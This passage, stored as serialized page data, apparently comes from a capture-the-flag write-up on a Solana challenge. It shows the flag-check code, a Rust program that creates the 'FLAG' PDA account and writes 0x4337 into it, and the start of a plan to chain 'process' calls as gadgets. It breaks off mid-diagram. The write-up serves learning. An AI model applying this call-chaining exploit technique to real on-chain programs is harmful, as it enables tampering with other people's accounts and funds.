"type":26,"tag":217,"props":123016,"children":123017},{"style":7064},[123018],{"type":32,"value":97935},{"type":26,"tag":217,"props":123020,"children":123021},{"style":7048},[123022],{"type":32,"value":123023},"()) ",{"type":26,"tag":217,"props":123025,"children":123026},{"style":7149},[123027],{"type":32,"value":9106},{"type":26,"tag":217,"props":123029,"children":123030},{"style":7130},[123031],{"type":32,"value":123032}," 0x4337\n",{"type":26,"tag":217,"props":123034,"children":123035},{"class":7028,"line":7165},[123036],{"type":26,"tag":217,"props":123037,"children":123038},{"style":7048},[123039],{"type":32,"value":37334},{"type":26,"tag":217,"props":123041,"children":123042},{"class":7028,"line":7178},[123043,123048,123052,123056,123060,123065,123069,123073],{"type":26,"tag":217,"props":123044,"children":123045},{"style":7064},[123046],{"type":32,"value":123047},"        writeln!",{"type":26,"tag":217,"props":123049,"children":123050},{"style":7048},[123051],{"type":32,"value":1851},{"type":26,"tag":217,"props":123053,"children":123054},{"style":7054},[123055],{"type":32,"value":115215},{"type":26,"tag":217,"props":123057,"children":123058},{"style":7048},[123059],{"type":32,"value":7599},{"type":26,"tag":217,"props":123061,"children":123062},{"style":7338},[123063],{"type":32,"value":123064},"\"congrats!\"",{"type":26,"tag":217,"props":123066,"children":123067},{"style":7048},[123068],{"type":32,"value":1889},{"type":26,"tag":217,"props":123070,"children":123071},{"style":7149},[123072],{"type":32,"value":605},{"type":26,"tag":217,"props":123074,"children":123075},{"style":7048},[123076],{"type":32,"value":7162},{"type":26,"tag":217,"props":123078,"children":123079},{"class":7028,"line":7389},[123080,123084,123088,123092,123096,123100,123104,123108,123112,123116,123120,123124,123128],{"type":26,"tag":217,"props":123081,"children":123082},{"style":7042},[123083],{"type":32,"value":12497},{"type":26,"tag":217,"props":123085,"children":123086},{"style":7154},[123087],{"type":32,"value":97421},{"type":26,"tag":217,"props":123089,"children":123090},{"style":7119},[123091],{"type":32,"value":92938},{"type":26,"tag":217,"props":123093,"children":123094},{"style":7048},[123095],{"type":32,"value":1851},{"type":26,"tag":217,"props":123097,"children":123098},{"style":7054},[123099],{"type":32,"value":122888},{"type":26,"tag":217,"props":123101,"children":123102},{"style":7048},[123103],{"type":32,"value":8380},{"type":26,"tag":217,"props":123105,"children":123106},{"style":7149},[123107],{"type":32,"value":267},{"type":26,"tag":217,"props":123109,"children":123110},{"style":7048},[123111],{"type":32,"value":77843},{"type":26,"tag":217,"props":123113,"children":123114},{"style":7149},[123115],{"type":32,"value":56166},{"type":26,"tag":217,"props":123117,"children":123118},{"style":7064},[123119],{"type":32,"value":25917},{"type":26,"tag":217,"props":123121,"children":123122},{"style":7048},[123123],{"type":32,"value":1851},{"type":26,"tag":217,"props":123125,"children":123126},{"style":7338},[123127],{"type":32,"value":122779},{"type":26,"tag":217,"props":123129,"children":123130},{"style":7048},[123131],{"type":32,"value":7618},{"type":26,"tag":217,"props":123133,"children":123134},{"class":7028,"line":7406},[123135,123140,123144,123148,123152,123157,123161,123165,123169,123173],{"type":26,"tag":217,"props":123136,"children":123137},{"style":7064},[123138],{"type":32,"value":123139},"            writeln!",{"type":26,"tag":217,"props":123141,"children":123142},{"style":7048},[123143],{"type":32,"value":1851},{"type":26,"tag":217,"props":123145,"children":123146},{"style":7054},[123147],{"type":32,"value":115215},{"type":26,"tag":217,"props":123149,"children":123150},{"style":7048},[123151],{"type":32,"value":7599},{"type":26,"tag":217,"props":123153,"children":123154},{"style":7338},[123155],{"type":32,"value":123156},"\"flag: {:?}\"",{"type":26,"tag":217,"props":123158,"children":123159},{"style":7048},[123160],{"type":32,"value":7599},{"type":26,"tag":217,"props":123162,"children":123163},{"style":7054},[123164],{"type":32,"value":122888},{"type":26,"tag":217,"props":123166,"children":123167},{"style":7048},[123168],{"type":32,"value":1889},{"type":26,"tag":217,"props":123170,"children":123171},{"style":7149},[123172],{"type":32,"value":605},{"type":26,"tag":217,"props":123174,"children":123175},{"style":7048},[123176],{"type":32,"value":7162},{"type":26,"tag":217,"props":123178,"children":123179},{"class":7028,"line":7439},[123180,123184,123188],{"type":26,"tag":217,"props":123181,"children":123182},{"style":7048},[123183],{"type":32,"value":83382},{"type":26,"tag":217,"props":123185,"children":123186},{"style":7042},[123187],{"type":32,"value":40852},{"type":26,"tag":217,"props":123189,"children":123190},{"style":7048},[123191],{"type":32,"value":8064},{"type":26,"tag":217,"props":123193,"children":123194},{"class":7028,"line":7487},[123195,123199,123203,123207,123211,123216,123220,123224],{"type":26,"tag":217,"props":123196,"children":123197},{"style":7064},[123198],{"type":32,"value":123139},{"type":26,"tag":217,"props":123200,"children":123201},{"style":7048},[123202],{"type":32,"value":1851},{"type":26,"tag":217,"props":123204,"children":123205},{"style":7054},[123206],{"type":32,"value":115215},{"type":26,"tag":217,"props":123208,"children":123209},{"style":7048},[123210],{"type":32,"value":7599},{"type":26,"tag":217,"props":123212,"children":123213},{"style":7338},[123214],{"type":32,"value":123215},"\"flag not found, please contact admin\"",{"type":26,"tag":217,"props":123217,"children":123218},{"style":7048},[123219],{"type":32,"value":1889},{"type":26,"tag":217,"props":123221,"children":123222},{"style":7149},[123223],{"type":32,"value":605},{"type":26,"tag":217,"props":123225,"children":123226},{"style":7048},[123227],{"type":32,"value":7162},{"type":26,"tag":217,"props":123229,"children":123230},{"class":7028,"line":7524},[123231],{"type":26,"tag":217,"props":123232,"children":123233},{"style":7048},[123234],{"type":32,"value":8722},{"type":26,"tag":217,"props":123236,"children":123237},{"class":7028,"line":7553},[123238],{"type":26,"tag":217,"props":123239,"children":123240},{"style":7048},[123241],{"type":32,"value":9754},{"type":26,"tag":217,"props":123243,"children":123244},{"class":7028,"line":7570},[123245],{"type":26,"tag":217,"props":123246,"children":123247},{"style":7048},[123248],{"type":32,"value":7184},{"type":26,"tag":27,"props":123250,"children":123252},{"id":123251},"solution-idea",[123253],{"type":32,"value":123254},"Solution Idea",{"type":26,"tag":39,"props":123256,"children":123257},{},[123258,123260,123266],{"type":32,"value":123259},"You may think it's impossible to do with just one instruction, but we can actually leverage the ",{"type":26,"tag":83,"props":123261,"children":123263},{"className":123262},[],[123264],{"type":32,"value":123265},"process",{"type":32,"value":123267}," function to execute infinite instructions. Well -- not entirely infinite, as we are limited by the amount of data we can pass to the on-chain program, and by the maximum stack depth of the Solana VM -- but we can execute up to 64 instructions, which is more than enough to get the flag.",{"type":26,"tag":39,"props":123269,"children":123270},{},[123271,123273,123279],{"type":32,"value":123272},"In order to get the flag, we need to make sure that the account at ",{"type":26,"tag":83,"props":123274,"children":123276},{"className":123275},[],[123277],{"type":32,"value":123278},"PDA(\"FLAG\")",{"type":32,"value":123280}," exists, has a data length of 0x1337, and the first 8 bytes are equal to 0x4337.",{"type":26,"tag":39,"props":123282,"children":123283},{},[123284,123286,123293],{"type":32,"value":123285},"Essentially, we need to ",{"type":26,"tag":163,"props":123287,"children":123290},{"href":123288,"rel":123289},"https://docs.solana.com/developing/runtime-facilities/programs#system-program",[167],[123291],{"type":32,"value":123292},"invoke the System Program",{"type":32,"value":123294},", and write controlled data into the newly created account.",{"type":26,"tag":39,"props":123296,"children":123297},{},[123298],{"type":32,"value":123299},"A sample program that does this is as follows:",{"type":26,"tag":207,"props":123301,"children":123303},{"className":56140,"code":123302,"language":56139,"meta":8,"style":8},"pub fn process_instruction(\n    program_id: &Pubkey,\n    accounts: &[AccountInfo],\n    data: &[u8]\n) -> ProgramResult {\n    let flag_pda_ai = &accounts[0];\n    let user_ai = &accounts[1];\n\n    // Step 1: Create a new account with 0x1337 bytes of data\n    let instruction = Instruction::new_with_bincode(\n        system_program::ID,\n        &SystemInstruction::CreateAccount {\n            space: 0x1337,\n            lamports: Rent::default().minimum_balance(0x1337),\n            owner: chall::ID\n        },\n        vec![\n            AccountMeta::new(*user_ai.key, true),\n            AccountMeta::new(*flag_pda_ai.key, true),\n        ],\n    );\n    invoke_signed_unchecked(\n        &instruction,\n        &[\n            user_ai.clone(),\n            flag_pda_ai.clone(),\n        ],\n        &[&[\"FLAG\".as_ref()]],\n    )?;\n\n    // Step 2: Write 0x4337 to the first 8 bytes of the account\n    flag_pda_ai.try_borrow_mut_data()?[..8].copy_from_slice(&0x4337u64.to_le_bytes());\n\n    Ok(())\n}\n",[123304],{"type":26,"tag":83,"props":123305,"children":123306},{"__ignoreMap":8},[123307,123327,123351,123379,123406,123426,123462,123498,123505,123513,123545,123562,123587,123608,123658,123683,123690,123703,123749,123793,123800,123807,123818,123833,123844,123864,123884,123891,123927,123942,123949,123957,124037,124044,124055],{"type":26,"tag":217,"props":123308,"children":123309},{"class":7028,"line":7029},[123310,123314,123318,123323],{"type":26,"tag":217,"props":123311,"children":123312},{"style":7154},[123313],{"type":32,"value":56830},{"type":26,"tag":217,"props":123315,"children":123316},{"style":7154},[123317],{"type":32,"value":56835},{"type":26,"tag":217,"props":123319,"children":123320},{"style":7064},[123321],{"type":32,"value":123322}," process_instruction",{"type":26,"tag":217,"props":123324,"children":123325},{"style":7048},[123326],{"type":32,"value":10932},{"type":26,"tag":217,"props":123328,"children":123329},{"class":7028,"line":6770},[123330,123335,123339,123343,123347],{"type":26,"tag":217,"props":123331,"children":123332},{"style":7054},[123333],{"type":32,"value":123334},"    program_id",{"type":26,"tag":217,"props":123336,"children":123337},{"style":7149},[123338],{"type":32,"value":1473},{"type":26,"tag":217,"props":123340,"children":123341},{"style":7149},[123342],{"type":32,"value":10222},{"type":26,"tag":217,"props":123344,"children":123345},{"style":7119},[123346],{"type":32,"value":93369},{"type":26,"tag":217,"props":123348,"children":123349},{"style":7048},[123350],{"type":32,"value":10953},{"type":26,"tag":217,"props":123352,"children":123353},{"class":7028,"line":6779},[123354,123359,123363,123367,123371,123375],{"type":26,"tag":217,"props":123355,"children":123356},{"style":7054},[123357],{"type":32,"value":123358},"    accounts",{"type":26,"tag":217,"props":123360,"children":123361},{"style":7149},[123362],{"type":32,"value":1473},{"type":26,"tag":217,"props":123364,"children":123365},{"style":7149},[123366],{"type":32,"value":10222},{"type":26,"tag":217,"props":123368,"children":123369},{"style":7048},[123370],{"type":32,"value":7127},{"type":26,"tag":217,"props":123372,"children":123373},{"style":7119},[123374],{"type":32,"value":93505},{"type":26,"tag":217,"props":123376,"children":123377},{"style":7048},[123378],{"type":32,"value":77742},{"type":26,"tag":217,"props":123380,"children":123381},{"class":7028,"line":7140},[123382,123386,123390,123394,123398,123402],{"type":26,"tag":217,"props":123383,"children":123384},{"style":7054},[123385],{"type":32,"value":67363},{"type":26,"tag":217,"props":123387,"children":123388},{"style":7149},[123389],{"type":32,"value":1473},{"type":26,"tag":217,"props":123391,"children":123392},{"style":7149},[123393],{"type":32,"value":10222},{"type":26,"tag":217,"props":123395,"children":123396},{"style":7048},[123397],{"type":32,"value":7127},{"type":26,"tag":217,"props":123399,"children":123400},{"style":7119},[123401],{"type":32,"value":36887},{"type":26,"tag":217,"props":123403,"children":123404},{"style":7048},[123405],{"type":32,"value":13256},{"type":26,"tag":217,"props":123407,"children":123408},{"class":7028,"line":7165},[123409,123413,123417,123422],{"type":26,"tag":217,"props":123410,"children":123411},{"style":7048},[123412],{"type":32,"value":8380},{"type":26,"tag":217,"props":123414,"children":123415},{"style":7149},[123416],{"type":32,"value":10115},{"type":26,"tag":217,"props":123418,"children":123419},{"style":7119},[123420],{"type":32,"value":123421}," ProgramResult",{"type":26,"tag":217,"props":123423,"children":123424},{"style":7048},[123425],{"type":32,"value":8064},{"type":26,"tag":217,"props":123427,"children":123428},{"class":7028,"line":7178},[123429,123433,123438,123442,123446,123450,123454,123458],{"type":26,"tag":217,"props":123430,"children":123431},{"style":7154},[123432],{"type":32,"value":77780},{"type":26,"tag":217,"props":123434,"children":123435},{"style":7054},[123436],{"type":32,"value":123437}," flag_pda_ai",{"type":26,"tag":217,"props":123439,"children":123440},{"style":7149},[123441],{"type":32,"value":8993},{"type":26,"tag":217,"props":123443,"children":123444},{"style":7149},[123445],{"type":32,"value":10222},{"type":26,"tag":217,"props":123447,"children":123448},{"style":7054},[123449],{"type":32,"value":91204},{"type":26,"tag":217,"props":123451,"children":123452},{"style":7048},[123453],{"type":32,"value":7127},{"type":26,"tag":217,"props":123455,"children":123456},{"style":7130},[123457],{"type":32,"value":1883},{"type":26,"tag":217,"props":123459,"children":123460},{"style":7048},[123461],{"type":32,"value":10652},{"type":26,"tag":217,"props":123463,"children":123464},{"class":7028,"line":7389},[123465,123469,123474,123478,123482,123486,123490,123494],{"type":26,"tag":217,"props":123466,"children":123467},{"style":7154},[123468],{"type":32,"value":77780},{"type":26,"tag":217,"props":123470,"children":123471},{"style":7054},[123472],{"type":32,"value":123473}," user_ai",{"type":26,"tag":217,"props":123475,"children":123476},{"style":7149},[123477],{"type":32,"value":8993},{"type":26,"tag":217,"props":123479,"children":123480},{"style":7149},[123481],{"type":32,"value":10222},{"type":26,"tag":217,"props":123483,"children":123484},{"style":7054},[123485],{"type":32,"value":91204},{"type":26,"tag":217,"props":123487,"children":123488},{"style":7048},[123489],{"type":32,"value":7127},{"type":26,"tag":217,"props":123491,"children":123492},{"style":7130},[123493],{"type":32,"value":185},{"type":26,"tag":217,"props":123495,"children":123496},{"style":7048},[123497],{"type":32,"value":10652},{"type":26,"tag":217,"props":123499,"children":123500},{"class":7028,"line":7406},[123501],{"type":26,"tag":217,"props":123502,"children":123503},{"emptyLinePlaceholder":17},[123504],{"type":32,"value":7817},{"type":26,"tag":217,"props":123506,"children":123507},{"class":7028,"line":7439},[123508],{"type":26,"tag":217,"props":123509,"children":123510},{"style":7033},[123511],{"type":32,"value":123512},"    // Step 1: Create a new account with 0x1337 bytes of data\n",{"type":26,"tag":217,"props":123514,"children":123515},{"class":7028,"line":7487},[123516,123520,123524,123528,123532,123536,123541],{"type":26,"tag":217,"props":123517,"children":123518},{"style":7154},[123519],{"type":32,"value":77780},{"type":26,"tag":217,"props":123521,"children":123522},{"style":7054},[123523],{"type":32,"value":98417},{"type":26,"tag":217,"props":123525,"children":123526},{"style":7149},[123527],{"type":32,"value":8993},{"type":26,"tag":217,"props":123529,"children":123530},{"style":7119},[123531],{"type":32,"value":121167},{"type":26,"tag":217,"props":123533,"children":123534},{"style":7149},[123535],{"type":32,"value":56166},{"type":26,"tag":217,"props":123537,"children":123538},{"style":7064},[123539],{"type":32,"value":123540},"new_with_bincode",{"type":26,"tag":217,"props":123542,"children":123543},{"style":7048},[123544],{"type":32,"value":10932},{"type":26,"tag":217,"props":123546,"children":123547},{"class":7028,"line":7524},[123548,123553,123557],{"type":26,"tag":217,"props":123549,"children":123550},{"style":7048},[123551],{"type":32,"value":123552},"        system_program",{"type":26,"tag":217,"props":123554,"children":123555},{"style":7149},[123556],{"type":32,"value":56166},{"type":26,"tag":217,"props":123558,"children":123559},{"style":7048},[123560],{"type":32,"value":123561},"ID,\n",{"type":26,"tag":217,"props":123563,"children":123564},{"class":7028,"line":7553},[123565,123569,123574,123578,123583],{"type":26,"tag":217,"props":123566,"children":123567},{"style":7149},[123568],{"type":32,"value":121297},{"type":26,"tag":217,"props":123570,"children":123571},{"style":7048},[123572],{"type":32,"value":123573},"SystemInstruction",{"type":26,"tag":217,"props":123575,"children":123576},{"style":7149},[123577],{"type":32,"value":56166},{"type":26,"tag":217,"props":123579,"children":123580},{"style":7119},[123581],{"type":32,"value":123582},"CreateAccount",{"type":26,"tag":217,"props":123584,"children":123585},{"style":7048},[123586],{"type":32,"value":8064},{"type":26,"tag":217,"props":123588,"children":123589},{"class":7028,"line":7570},[123590,123595,123599,123604],{"type":26,"tag":217,"props":123591,"children":123592},{"style":7054},[123593],{"type":32,"value":123594},"            space",{"type":26,"tag":217,"props":123596,"children":123597},{"style":7149},[123598],{"type":32,"value":1473},{"type":26,"tag":217,"props":123600,"children":123601},{"style":7130},[123602],{"type":32,"value":123603}," 0x1337",{"type":26,"tag":217,"props":123605,"children":123606},{"style":7048},[123607],{"type":32,"value":10953},{"type":26,"tag":217,"props":123609,"children":123610},{"class":7028,"line":7621},[123611,123616,123620,123624,123628,123633,123637,123641,123646,123650,123654],{"type":26,"tag":217,"props":123612,"children":123613},{"style":7054},[123614],{"type":32,"value":123615},"            lamports",{"type":26,"tag":217,"props":123617,"children":123618},{"style":7149},[123619],{"type":32,"value":1473},{"type":26,"tag":217,"props":123621,"children":123622},{"style":7048},[123623],{"type":32,"value":93637},{"type":26,"tag":217,"props":123625,"children":123626},{"style":7149},[123627],{"type":32,"value":56166},{"type":26,"tag":217,"props":123629,"children":123630},{"style":7064},[123631],{"type":32,"value":123632},"default",{"type":26,"tag":217,"props":123634,"children":123635},{"style":7048},[123636],{"type":32,"value":78002},{"type":26,"tag":217,"props":123638,"children":123639},{"style":7149},[123640],{"type":32,"value":180},{"type":26,"tag":217,"props":123642,"children":123643},{"style":7064},[123644],{"type":32,"value":123645},"minimum_balance",{"type":26,"tag":217,"props":123647,"children":123648},{"style":7048},[123649],{"type":32,"value":1851},{"type":26,"tag":217,"props":123651,"children":123652},{"style":7130},[123653],{"type":32,"value":17388},{"type":26,"tag":217,"props":123655,"children":123656},{"style":7048},[123657],{"type":32,"value":13841},{"type":26,"tag":217,"props":123659,"children":123660},{"class":7028,"line":7672},[123661,123666,123670,123674,123678],{"type":26,"tag":217,"props":123662,"children":123663},{"style":7054},[123664],{"type":32,"value":123665},"            owner",{"type":26,"tag":217,"props":123667,"children":123668},{"style":7149},[123669],{"type":32,"value":1473},{"type":26,"tag":217,"props":123671,"children":123672},{"style":7048},[123673],{"type":32,"value":122198},{"type":26,"tag":217,"props":123675,"children":123676},{"style":7149},[123677],{"type":32,"value":56166},{"type":26,"tag":217,"props":123679,"children":123680},{"style":7048},[123681],{"type":32,"value":123682},"ID\n",{"type":26,"tag":217,"props":123684,"children":123685},{"class":7028,"line":7681},[123686],{"type":26,"tag":217,"props":123687,"children":123688},{"style":7048},[123689],{"type":32,"value":98350},{"type":26,"tag":217,"props":123691,"children":123692},{"class":7028,"line":7754},[123693,123698],{"type":26,"tag":217,"props":123694,"children":123695},{"style":7064},[123696],{"type":32,"value":123697},"        vec!",{"type":26,"tag":217,"props":123699,"children":123700},{"style":7048},[123701],{"type":32,"value":123702},"[\n",{"type":26,"tag":217,"props":123704,"children":123705},{"class":7028,"line":7784},[123706,123711,123715,123719,123723,123727,123732,123736,123741,123745],{"type":26,"tag":217,"props":123707,"children":123708},{"style":7048},[123709],{"type":32,"value":123710},"            AccountMeta",{"type":26,"tag":217,"props":123712,"children":123713},{"style":7149},[123714],{"type":32,"value":56166},{"type":26,"tag":217,"props":123716,"children":123717},{"style":7064},[123718],{"type":32,"value":7116},{"type":26,"tag":217,"props":123720,"children":123721},{"style":7048},[123722],{"type":32,"value":1851},{"type":26,"tag":217,"props":123724,"children":123725},{"style":7149},[123726],{"type":32,"value":10006},{"type":26,"tag":217,"props":123728,"children":123729},{"style":7054},[123730],{"type":32,"value":123731},"user_ai",{"type":26,"tag":217,"props":123733,"children":123734},{"style":7149},[123735],{"type":32,"value":180},{"type":26,"tag":217,"props":123737,"children":123738},{"style":7048},[123739],{"type":32,"value":123740},"key, ",{"type":26,"tag":217,"props":123742,"children":123743},{"style":7154},[123744],{"type":32,"value":231},{"type":26,"tag":217,"props":123746,"children":123747},{"style":7048},[123748],{"type":32,"value":13841},{"type":26,"tag":217,"props":123750,"children":123751},{"class":7028,"line":7802},[123752,123756,123760,123764,123768,123772,123777,123781,123785,123789],{"type":26,"tag":217,"props":123753,"children":123754},{"style":7048},[123755],{"type":32,"value":123710},{"type":26,"tag":217,"props":123757,"children":123758},{"style":7149},[123759],{"type":32,"value":56166},{"type":26,"tag":217,"props":123761,"children":123762},{"style":7064},[123763],{"type":32,"value":7116},{"type":26,"tag":217,"props":123765,"children":123766},{"style":7048},[123767],{"type":32,"value":1851},{"type":26,"tag":217,"props":123769,"children":123770},{"style":7149},[123771],{"type":32,"value":10006},{"type":26,"tag":217,"props":123773,"children":123774},{"style":7054},[123775],{"type":32,"value":123776},"flag_pda_ai",{"type":26,"tag":217,"props":123778,"children":123779},{"style":7149},[123780],{"type":32,"value":180},{"type":26,"tag":217,"props":123782,"children":123783},{"style":7048},[123784],{"type":32,"value":123740},{"type":26,"tag":217,"props":123786,"children":123787},{"style":7154},[123788],{"type":32,"value":231},{"type":26,"tag":217,"props":123790,"children":123791},{"style":7048},[123792],{"type":32,"value":13841},{"type":26,"tag":217,"props":123794,"children":123795},{"class":7028,"line":7811},[123796],{"type":26,"tag":217,"props":123797,"children":123798},{"style":7048},[123799],{"type":32,"value":16035},{"type":26,"tag":217,"props":123801,"children":123802},{"class":7028,"line":7820},[123803],{"type":26,"tag":217,"props":123804,"children":123805},{"style":7048},[123806],{"type":32,"value":12988},{"type":26,"tag":217,"props":123808,"children":123809},{"class":7028,"line":7844},[123810,123814],{"type":26,"tag":217,"props":123811,"children":123812},{"style":7064},[123813],{"type":32,"value":121285},{"type":26,"tag":217,"props":123815,"children":123816},{"style":7048},[123817],{"type":32,"value":10932},{"type":26,"tag":217,"props":123819,"children":123820},{"class":7028,"line":7910},[123821,123825,123829],{"type":26,"tag":217,"props":123822,"children":123823},{"style":7149},[123824],{"type":32,"value":121297},{"type":26,"tag":217,"props":123826,"children":123827},{"style":7054},[123828],{"type":32,"value":98525},{"type":26,"tag":217,"props":123830,"children":123831},{"style":7048},[123832],{"type":32,"value":10953},{"type":26,"tag":217,"props":123834,"children":123835},{"class":7028,"line":7954},[123836,123840],{"type":26,"tag":217,"props":123837,"children":123838},{"style":7149},[123839],{"type":32,"value":121297},{"type":26,"tag":217,"props":123841,"children":123842},{"style":7048},[123843],{"type":32,"value":123702},{"type":26,"tag":217,"props":123845,"children":123846},{"class":7028,"line":7985},[123847,123852,123856,123860],{"type":26,"tag":217,"props":123848,"children":123849},{"style":7054},[123850],{"type":32,"value":123851},"            user_ai",{"type":26,"tag":217,"props":123853,"children":123854},{"style":7149},[123855],{"type":32,"value":180},{"type":26,"tag":217,"props":123857,"children":123858},{"style":7064},[123859],{"type":32,"value":67384},{"type":26,"tag":217,"props":123861,"children":123862},{"style":7048},[123863],{"type":32,"value":79153},{"type":26,"tag":217,"props":123865,"children":123866},{"class":7028,"line":8027},[123867,123872,123876,123880],{"type":26,"tag":217,"props":123868,"children":123869},{"style":7054},[123870],{"type":32,"value":123871},"            flag_pda_ai",{"type":26,"tag":217,"props":123873,"children":123874},{"style":7149},[123875],{"type":32,"value":180},{"type":26,"tag":217,"props":123877,"children":123878},{"style":7064},[123879],{"type":32,"value":67384},{"type":26,"tag":217,"props":123881,"children":123882},{"style":7048},[123883],{"type":32,"value":79153},{"type":26,"tag":217,"props":123885,"children":123886},{"class":7028,"line":8035},[123887],{"type":26,"tag":217,"props":123888,"children":123889},{"style":7048},[123890],{"type":32,"value":16035},{"type":26,"tag":217,"props":123892,"children":123893},{"class":7028,"line":8067},[123894,123898,123902,123906,123910,123914,123918,123922],{"type":26,"tag":217,"props":123895,"children":123896},{"style":7149},[123897],{"type":32,"value":121297},{"type":26,"tag":217,"props":123899,"children":123900},{"style":7048},[123901],{"type":32,"value":7127},{"type":26,"tag":217,"props":123903,"children":123904},{"style":7149},[123905],{"type":32,"value":9804},{"type":26,"tag":217,"props":123907,"children":123908},{"style":7048},[123909],{"type":32,"value":7127},{"type":26,"tag":217,"props":123911,"children":123912},{"style":7338},[123913],{"type":32,"value":122779},{"type":26,"tag":217,"props":123915,"children":123916},{"style":7149},[123917],{"type":32,"value":180},{"type":26,"tag":217,"props":123919,"children":123920},{"style":7064},[123921],{"type":32,"value":122788},{"type":26,"tag":217,"props":123923,"children":123924},{"style":7048},[123925],{"type":32,"value":123926},"()]],\n",{"type":26,"tag":217,"props":123928,"children":123929},{"class":7028,"line":8107},[123930,123934,123938],{"type":26,"tag":217,"props":123931,"children":123932},{"style":7048},[123933],{"type":32,"value":121337},{"type":26,"tag":217,"props":123935,"children":123936},{"style":7149},[123937],{"type":32,"value":605},{"type":26,"tag":217,"props":123939,"children":123940},{"style":7048},[123941],{"type":32,"value":7162},{"type":26,"tag":217,"props":123943,"children":123944},{"class":7028,"line":8145},[123945],{"type":26,"tag":217,"props":123946,"children":123947},{"emptyLinePlaceholder":17},[123948],{"type":32,"value":7817},{"type":26,"tag":217,"props":123950,"children":123951},{"class":7028,"line":8154},[123952],{"type":26,"tag":217,"props":123953,"children":123954},{"style":7033},[123955],{"type":32,"value":123956},"    // Step 2: Write 0x4337 to the first 8 bytes of the account\n",{"type":26,"tag":217,"props":123958,"children":123959},{"class":7028,"line":8162},[123960,123965,123969,123974,123978,123982,123986,123990,123994,123998,124002,124007,124011,124015,124020,124024,124028,124033],{"type":26,"tag":217,"props":123961,"children":123962},{"style":7054},[123963],{"type":32,"value":123964},"    flag_pda_ai",{"type":26,"tag":217,"props":123966,"children":123967},{"style":7149},[123968],{"type":32,"value":180},{"type":26,"tag":217,"props":123970,"children":123971},{"style":7064},[123972],{"type":32,"value":123973},"try_borrow_mut_data",{"type":26,"tag":217,"props":123975,"children":123976},{"style":7048},[123977],{"type":32,"value":78002},{"type":26,"tag":217,"props":123979,"children":123980},{"style":7149},[123981],{"type":32,"value":605},{"type":26,"tag":217,"props":123983,"children":123984},{"style":7048},[123985],{"type":32,"value":7127},{"type":26,"tag":217,"props":123987,"children":123988},{"style":7149},[123989],{"type":32,"value":120880},{"type":26,"tag":217,"props":123991,"children":123992},{"style":7130},[123993],{"type":32,"value":27891},{"type":26,"tag":217,"props":123995,"children":123996},{"style":7048},[123997],{"type":32,"value":21845},{"type":26,"tag":217,"props":123999,"children":124000},{"style":7149},[124001],{"type":32,"value":180},{"type":26,"tag":217,"props":124003,"children":124004},{"style":7064},[124005],{"type":32,"value":124006},"copy_from_slice",{"type":26,"tag":217,"props":124008,"children":124009},{"style":7048},[124010],{"type":32,"value":1851},{"type":26,"tag":217,"props":124012,"children":124013},{"style":7149},[124014],{"type":32,"value":9804},{"type":26,"tag":217,"props":124016,"children":124017},{"style":7130},[124018],{"type":32,"value":124019},"0x4337",{"type":26,"tag":217,"props":124021,"children":124022},{"style":7119},[124023],{"type":32,"value":120978},{"type":26,"tag":217,"props":124025,"children":124026},{"style":7149},[124027],{"type":32,"value":180},{"type":26,"tag":217,"props":124029,"children":124030},{"style":7064},[124031],{"type":32,"value":124032},"to_le_bytes",{"type":26,"tag":217,"props":124034,"children":124035},{"style":7048},[124036],{"type":32,"value":8348},{"type":26,"tag":217,"props":124038,"children":124039},{"class":7028,"line":8197},[124040],{"type":26,"tag":217,"props":124041,"children":124042},{"emptyLinePlaceholder":17},[124043],{"type":32,"value":7817},{"type":26,"tag":217,"props":124045,"children":124046},{"class":7028,"line":8220},[124047,124051],{"type":26,"tag":217,"props":124048,"children":124049},{"style":7119},[124050],{"type":32,"value":78087},{"type":26,"tag":217,"props":124052,"children":124053},{"style":7048},[124054],{"type":32,"value":91763},{"type":26,"tag":217,"props":124056,"children":124057},{"class":7028,"line":8228},[124058],{"type":26,"tag":217,"props":124059,"children":124060},{"style":7048},[124061],{"type":32,"value":7184},{"type":26,"tag":39,"props":124063,"children":124064},{},[124065],{"type":32,"value":124066},"To test this theory, we can execute the program above inside the test environment, and see if we can get the flag:",{"type":26,"tag":39,"props":124068,"children":124069},{},[124070],{"type":26,"tag":6468,"props":124071,"children":124074},{"alt":124072,"src":124073},"Screenshot","/posts/jumping-around-in-the-vm/screenshot.png",[],{"type":26,"tag":39,"props":124076,"children":124077},{},[124078],{"type":32,"value":124079},"It works! Now we \"just\" need to find a way to execute the program above, by leveraging the single Instruction call to the program. This is easier said than done. The next section will dive into the details of the Solana VM to understand how we can achieve this.",{"type":26,"tag":27,"props":124081,"children":124083},{"id":124082},"solution-implementation",[124084],{"type":32,"value":124085},"Solution Implementation",{"type":26,"tag":39,"props":124087,"children":124088},{},[124089,124091,124096],{"type":32,"value":124090},"Now that we know what we need to do, let's look at how we can actually do it. We have to code the above program, by chaining together multiple ",{"type":26,"tag":83,"props":124092,"children":124094},{"className":124093},[],[124095],{"type":32,"value":123265},{"type":32,"value":124097}," invocations:",{"type":26,"tag":207,"props":124099,"children":124103},{"className":124100,"code":124101,"language":124102,"meta":8,"style":8},"language-mermaid shiki shiki-themes slack-dark","graph LR\n    A[0: entrypoint] --> B[1: process_instruction]\n    B --> C[2: process]\n    C --> D[3: gadget1]\n    C --> E[3: process]\n    E --> F[4: gadget2]\n    E --> G[...]\n","mermaid",[124104],{"type":26,"tag":83,"props":124105,"children":124106},{"__ignoreMap":8},[124107,124115,124123,124131,124139,124147,124155],{"type":26,"tag":217,"props":124108,"children":124109},{"class":7028,"line":7029},[124110],{"type":26,"tag":217,"props":124111,"children":124112},{},[124113],{"type":32,"value":124114},"graph LR\n",{"type":26,"tag":217,"props":124116,"children":124117},{"class":7028,"line":6770},[124118],{"type":26,"tag":217,"props":124119,"children":124120},{},[124121],{"type":32,"value":124122},"    A[0: entrypoint] --> B[1: process_instruction]\n",{"type":26,"tag":217,"props":124124,"children":124125},{"class":7028,"line":6779},[124126],{"type":26,"tag":217,"props":124127,"children":124128},{},[124129],{"type":32,"value":124130},"    B --> C[2: process]\n",{"type":26,"tag":217,"props":124132,"children":124133},{"class":7028,"line":7140},[124134],{"type":26,"tag":217,"props":124135,"children":124136},{},[124137],{"type":32,"value":124138},"    C --> D[3: gadget1]\n",{"type":26,"tag":217,"props":124140,"children":124141},{"class":7028,"line":7165},[124142],{"type":26,"tag":217,"props":124143,"children":124144},{},[124145],{"type":32,"value":124146},"    C --> E[3: process]\n",{"type":26,"tag":217,"props":124148,"children":124149},{"class":7028,"line":7178},[124150],{"type":26,"tag":217,"props":124151,"children":124152},{},[124153],{"type":32,"value":124154},"    E --> F[4: 